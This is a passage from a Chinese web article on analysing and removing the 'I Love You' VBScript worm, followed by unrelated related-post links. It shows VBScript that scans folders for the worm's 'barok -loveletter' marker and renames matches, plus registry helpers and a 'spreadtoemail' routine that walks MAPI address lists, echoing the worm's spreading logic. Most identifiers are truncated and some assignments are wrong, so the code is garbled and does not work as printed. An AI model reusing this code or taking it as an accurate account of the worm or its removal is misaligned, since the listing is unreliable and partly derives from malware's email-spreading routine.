2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">ine "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="jpg") or (ext="jpeg") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="mp3") or (ext="mp2") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (eq<>folderspec) then </p><p style="text-indent: 2em;font-size:18px;">if (s="") or (s="") or (s="") or </p><p style="text-indent: 2em;font-size:18px;">(s="") or </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">(s="") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(folderspec&"") </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved "&folderspec&" </p><p style="text-indent: 2em;font-size:18px;">to",folderspec&""&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">eq=folderspec </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub folderlist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim f,f1,sf,tf </p><p style="text-indent: 2em;font-size:18px;">If Len(folderspec) > 55 Then </p><p style="text-indent: 2em;font-size:18px;">tf = "..." & Right(folderspec,55) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Else </p><p style="text-indent: 2em;font-size:18px;">tf = folderspec </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">ine " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">set f = der(folderspec) </p><p style="text-indent: 2em;font-size:18px;">set sf = ders </p><p style="text-indent: 2em;font-size:18px;">for each f1 in sf </p><p style="text-indent: 2em;font-size:18px;">infectfiles() </p><p style="text-indent: 2em;font-size:18px;">folderlist() </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regdelete(regkey) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">ete regkey </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regwrite(regkey,regvalue) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">te regkey,regvalue </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function regget(value) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">regget=d(value) </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function fileexist(filespec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (ists(filespec)) Then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function folderexist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (derExists(folderspec)) then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub spreadtoemail() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad </p><p style="text-indent: 2em;font-size:18px;">set regedit=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">set out=Object("ation") </p><p style="text-indent: 2em;font-size:18px;">set mapi=eSpace("MAPI") </p><p style="text-indent: 2em;font-size:18px;">for ctrlists=1 to </p><p style="text-indent: 2em;font-size:18px;">set a=sLists(ctrlists) </p><p style="text-indent: 2em;font-size:18px;">x=1 </p><p style="text-indent: 2em;font-size:18px;">regv=d("HKEY_CURRENT_USERSoftwareMicrosoftWAB</p><p style="text-indent: 2em;font-size:18px;">"&a) </p><p style="text-indent: 2em;font-size:18px;">if (regv="") then </p><p style="text-indent: 2em;font-size:18px;">regv=1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (int()>int(regv)) then </p><p style="text-indent: 2em;font-size:18px;">for ctrentries=1 to </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">malead=sEntries(x) </p><p style="text-indent: 2em;font-size:18px;">regad="" </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead </p><p style="text-indent: 2em;font-size:18px;">x=x+1 </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">Set out=Nothing </p><p style="text-indent: 2em;font-size:18px;">Set mapi=Nothing </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub html </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">set fso=CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">set b=e(dirsystem+"") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;">-- </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p></div><br><p><h2></h2></p> <!-- 附件 --> <p class="tag"> 本文标签: <a style="margin-right: 10px" href="/tag/189.html" target="_blank">病毒</a> <a style="margin-right: 10px" href="/tag/175.html" target="_blank">文件</a> <a style="margin-right: 10px" href="/tag/186.html" target="_blank">程序</a> <a style="margin-right: 10px" href="/tag/223.html" target="_blank">大家</a> <a style="margin-right: 10px" href="/tag/371.html" target="_blank">没有</a> </p> <div class="roclinux-cn copyright"> <blockquote> <p> 版权声明:本文标题:“爱虫(I_Loveyou)”病毒代码解析和杀毒方法 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:<a href="http://roclinux.cn/p/1715901859a689949.html">http://roclinux.cn/p/1715901859a689949.html</a>, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。 </p> </blockquote> </div> </div> <div class="roclinux-cn block-wrap single-relative"> <h2 class="block-title"> 更多相关文章 </h2> <div class="roclinux-cn post-list"> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774291734a3570049.html" title="电脑管家如何清理内存及垃圾,提升电脑性能">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="电脑管家如何清理内存及垃圾,提升电脑性能">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774291734a3570049.html" class="post-item-title" title="电脑管家如何清理内存及垃圾,提升电脑性能"> <h3>电脑管家如何清理内存及垃圾,提升电脑性能</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">电脑在长时间使用后,常常会变得越来越卡顿,打开程序的速度变慢,甚至响应迟缓。这时,不少用户会选择使用电脑管家来进行内存清理和垃圾清理。那么,电脑管家是如何清理内存的?它又是如何清理垃圾的?清理后为何电脑变得更流畅?本文将一一解答这些问</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774320765a3570376.html" title="Ghost11简体中文版:全面应用指南与技巧">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Ghost11简体中文版:全面应用指南与技巧">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774320765a3570376.html" class="post-item-title" title="Ghost11简体中文版:全面应用指南与技巧"> <h3>Ghost11简体中文版:全面应用指南与技巧</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">简介:Ghost11作为Symantec公司开发的著名系统备份与恢复软件,引入简体中文界面,极大提升了国内用户的使用便捷性。本指南深入解析了Ghost11的核心功能,包括全盘克隆、分区克隆、映像文件创建与还原、自动备份计划和网络克隆等</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774337095a3570570.html" title="告别传统器,这款“颜值实力派”开源神器,让你体验极致高速与优雅_类似motrix软件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="告别传统器,这款“颜值实力派”开源神器,让你体验极致高速与优雅_类似motrix软件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774337095a3570570.html" class="post-item-title" title="告别传统器,这款“颜值实力派”开源神器,让你体验极致高速与优雅_类似motrix软件"> <h3>告别传统器,这款“颜值实力派”开源神器,让你体验极致高速与优雅_类似motrix软件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">引言:下载,是CSDNers的“生命线”,但痛点无处不在! 各位CSDNers,IT领域的探索者们,大家好! 我们每日与代码、文档、开源项目、系统镜像、各类资源打交道,下载几乎是日常工作中不可或缺的一环。然而,你是否曾</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774342458a3570632.html" title="把VOB格式转换成其它格式的工具_vob转mepg2">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="把VOB格式转换成其它格式的工具_vob转mepg2">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774342458a3570632.html" class="post-item-title" title="把VOB格式转换成其它格式的工具_vob转mepg2"> <h3>把VOB格式转换成其它格式的工具_vob转mepg2</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">把VOB格式转换成其它格式的工具很多朋友都想直接把手中的DVD直接转压成rmvb,方法有很多,现在介绍一种比较简单的方法。以下方法可以从DVD的VOB文件直接转RM,中间没有经过其它的文件格式,所以得到的RM流文件的质量比较高,</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774342726a3570635.html" title="DVD转成VOBMP4MP3文件_dvd decrypter">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="DVD转成VOBMP4MP3文件_dvd decrypter">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774342726a3570635.html" class="post-item-title" title="DVD转成VOBMP4MP3文件_dvd decrypter"> <h3>DVD转成VOBMP4MP3文件_dvd decrypter</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">DVD转成VOBMP4MP3文件 朋友让帮忙把DVD转成电脑直接播放文件,找了一些软件试了下,都没有成功,最后利用DVDDecrypter软件才搞定,转成VOB文件,然后又把VOB文件转成MP4,最后再把MP4成MP3格式</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774342818a3570636.html" title="将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774342818a3570636.html" class="post-item-title" title="将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4"> <h3>将DVD中的VOB文件无损转换为MP4等常用视频格式的方法_dvd转mp4</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">建议先看疑问解答,否则可能会出现棘手的问题。 一、DVD和VCD等光碟播放设备①光盘播放机,例如先锋②带有光驱的笔记本或台式电脑,现在基本已被淘汰③外置光驱:可通过USB数据线(设备自</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774343276a3570642.html" title="[翻译]VOB的移动(不同域名)_cleartool register -vob -ucmproject">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="[翻译]VOB的移动(不同域名)_cleartool register -vob -ucmproject">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774343276a3570642.html" class="post-item-title" title="[翻译]VOB的移动(不同域名)_cleartool register -vob -ucmproject"> <h3>[翻译]VOB的移动(不同域名)_cleartool register -vob -ucmproject</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">环境描述:为了更好的说明问题,我们假想了一个虚拟的环境: Server1 : 计算机名: From域名: OLD操作系统: WI</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774364095a3570884.html" title="电脑无法打开Excel文件怎么办?_excel系统配置不能运行">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="电脑无法打开Excel文件怎么办?_excel系统配置不能运行">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774364095a3570884.html" class="post-item-title" title="电脑无法打开Excel文件怎么办?_excel系统配置不能运行"> <h3>电脑无法打开Excel文件怎么办?_excel系统配置不能运行</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">修复Windows电脑无法打开Excel文件的七种方法 如何修复电脑打不开Excel文件的问题?有七种可行的方法供你参考。 方法1. 更改错误的文件扩展名 如前所述,XLS和XLSX都是Excel程序的扩展。2</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774395540a3571247.html" title="js字体溢出字体变小_可变字体:它们是什么,以及如何使用它们">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="js字体溢出字体变小_可变字体:它们是什么,以及如何使用它们">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774395540a3571247.html" class="post-item-title" title="js字体溢出字体变小_可变字体:它们是什么,以及如何使用它们"> <h3>js字体溢出字体变小_可变字体:它们是什么,以及如何使用它们</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">js字体溢出字体变小In this article, we’ll take a look at the exciting new possibilities surrounding variable fonts —</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774461716a3571436.html" title="EasyRecovery:Windows系统下的神奇文件恢复工具,让你的SWF文件起死回生!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="EasyRecovery:Windows系统下的神奇文件恢复工具,让你的SWF文件起死回生!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774461716a3571436.html" class="post-item-title" title="EasyRecovery:Windows系统下的神奇文件恢复工具,让你的SWF文件起死回生!"> <h3>EasyRecovery:Windows系统下的神奇文件恢复工具,让你的SWF文件起死回生!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">简介:EasyRecovery是一款为Windows用户打造的高效文件恢复工具,可轻松找回误删除或丢失的重要数据。软件操作简便,界面直观,适合所有层次的用户使用。其核心功能包括深度扫描未实际删除的文件、支持多种文件格式恢复,并提供文件</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774462345a3571444.html" title="EasyRecovery数据恢复软件教学视频,从零开始,助你轻松掌握数据保护">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="EasyRecovery数据恢复软件教学视频,从零开始,助你轻松掌握数据保护">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774462345a3571444.html" class="post-item-title" title="EasyRecovery数据恢复软件教学视频,从零开始,助你轻松掌握数据保护"> <h3>EasyRecovery数据恢复软件教学视频,从零开始,助你轻松掌握数据保护</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">1.介绍 EasyRecovery 是一款操作安全、价格便宜、用户自主操作的数据恢复软件,它支持从各种各样的存储介质恢复删除或者丢失的文件,其支持的媒体介质包括:硬盘驱动器、光驱、闪存、硬盘、光盘、U盘移动硬盘、数码相机、手</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774469663a3571525.html" title="Windows10与笔记本配合时函数紊乱?轻松搞定指南">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Windows10与笔记本配合时函数紊乱?轻松搞定指南">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774469663a3571525.html" class="post-item-title" title="Windows10与笔记本配合时函数紊乱?轻松搞定指南"> <h3>Windows10与笔记本配合时函数紊乱?轻松搞定指南</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">笔记本Windows10函数不正确?这里有解决方法在Windows10操作系统的使用过程中,许多笔记本电脑用户可能会遇到“函数不正确”的错误提示,这不仅影响了用户的正常使用,还可能导致一些关键功能无法正常运行。面对这种情</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774483951a3571689.html" title="WinPcap.exe出问题?三步轻松搞定wpcap.dll缺失的烦恼!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="WinPcap.exe出问题?三步轻松搞定wpcap.dll缺失的烦恼!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774483951a3571689.html" class="post-item-title" title="WinPcap.exe出问题?三步轻松搞定wpcap.dll缺失的烦恼!"> <h3>WinPcap.exe出问题?三步轻松搞定wpcap.dll缺失的烦恼!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">WinPcap.exe:解决wpcap.dll缺失问题 在此提供的WinPcap.exe文件,主要用于解决在部分Windows操作系统中出现的【wpcap.dll】缺失问题。该问题可能导致一些网络相关的软件无法正常运行,出现错</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774484027a3571690.html" title="Win7系统下的wpcap.dll找不到了?快速修复方法分享">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Win7系统下的wpcap.dll找不到了?快速修复方法分享">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774484027a3571690.html" class="post-item-title" title="Win7系统下的wpcap.dll找不到了?快速修复方法分享"> <h3>Win7系统下的wpcap.dll找不到了?快速修复方法分享</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">wpcap.dll作为WinPcap组件之一,在Windows 7 32位系统中扮演着核心角色,专门用于实现网络数据包的捕获功能。该动态链接库的缺失,可能会直接影响到系统中网络监控及分析软件的正常运作,进而妨碍到网络安全监控与系统性能</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774484862a3571701.html" title="WPCAP.dll失踪?修复手册,轻松搞定电脑故障!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="WPCAP.dll失踪?修复手册,轻松搞定电脑故障!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774484862a3571701.html" class="post-item-title" title="WPCAP.dll失踪?修复手册,轻松搞定电脑故障!"> <h3>WPCAP.dll失踪?修复手册,轻松搞定电脑故障!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">在计算机使用过程中,不少用户可能会遇到wpcap.dll文件丢失的问题,这通常会导致依赖于该文件的应用程序无法正常运行,如Wireshark网络封包分析器等。wpcap.dll是WinPcap套件的一部分,该套件为Windows操作系</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774484937a3571702.html" title="告别WinPcap.exe运行错误:WPCAP.dll不在目录的解决办法">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="告别WinPcap.exe运行错误:WPCAP.dll不在目录的解决办法">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774484937a3571702.html" class="post-item-title" title="告别WinPcap.exe运行错误:WPCAP.dll不在目录的解决办法"> <h3>告别WinPcap.exe运行错误:WPCAP.dll不在目录的解决办法</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">WinPcap.exe:解决wpcap.dll缺失问题 